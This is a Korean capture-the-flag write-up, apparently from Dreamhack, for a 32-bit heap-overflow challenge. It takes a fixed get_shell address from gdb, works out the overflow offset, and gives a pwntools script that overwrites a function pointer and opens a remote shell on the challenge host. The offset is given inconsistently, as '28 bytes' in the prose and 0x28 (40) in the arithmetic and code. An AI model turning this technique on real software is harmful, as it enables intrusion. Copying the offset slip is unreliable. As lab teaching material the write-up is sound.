basic_heap_overflow

No PIE fixes the address of get_shell, so a 28-byte heap overflow is enough to redirect execution.

2026.08.18 Pwn original post

Figure 1

Figure 2

heap overflow 문제인 듯 하다. 먼저 get_shell 주소를 얻겠다. checksec 을 보면 no PIE 여서 get_shell 함수의 주소는 고정이다.

$ gdb ./basic_heap_overflow
(gdb) p get_shell

를 하면, get_shell 의 주소는 0x804867b 인 것을 알 수 있다.

그다음엔 오버플로우를 할 오프셋을 구해야 하는데, 힙 할당 사이즈가 0x20 인 것을 감안하면 28 바이트가 오프셋이다. 왜냐하면 glibc malloc 의 청크는 prev_size(4B) + size(4B) = 8바이트 헤더를 갖기 때문이다. 그러니까 필요한 총 청크 크기는:

0x20(요청) + 0x8(헤더) = 0x28

그러면 왜 다른 청크, 즉 over chunk 를 get_shell 의 주소로 덮는 게 get_shell 을 호출시키는 결과가 되느냐? over->table() 이 아무 검증 없이 호출되므로, 그 자리에 get_shell 의 주소를 써넣으면 main() 이 그 함수를 그대로 실행하는 것이다.

0x0804870f <+98>:  mov  -0xc(%ebp),%eax   ; eax = over
0x08048712 <+101>: mov  (%eax),%eax       ; eax = over->table (다시 한번 읽음)
0x08048714 <+103>: call *%eax             ; ★ eax에 들어있는 "값"으로 그냥 점프한다

gdb 로 이 코드의 어셈블리어를 보면 더 정확히 어떻게 실행되는지 알 수 있다. 그래서 익스플로잇 코드는,

from pwn import *

context.arch = 'i386'

GET_SHELL = 0x0804867b
OFFSET    = 0x28              # gdb로 실측 재확인 권장

payload  = b'A' * OFFSET      # ptr 버퍼(0x20) + 다음 청크 헤더(0x8) 채우기
payload += p32(GET_SHELL)     # over->table 자리에 get_shell 주소 덮어쓰기

io = remote('host3.dreamhack.games', 21120)
io.sendline(payload)
io.interactive()

이걸 돌리면 플래그를 얻는다!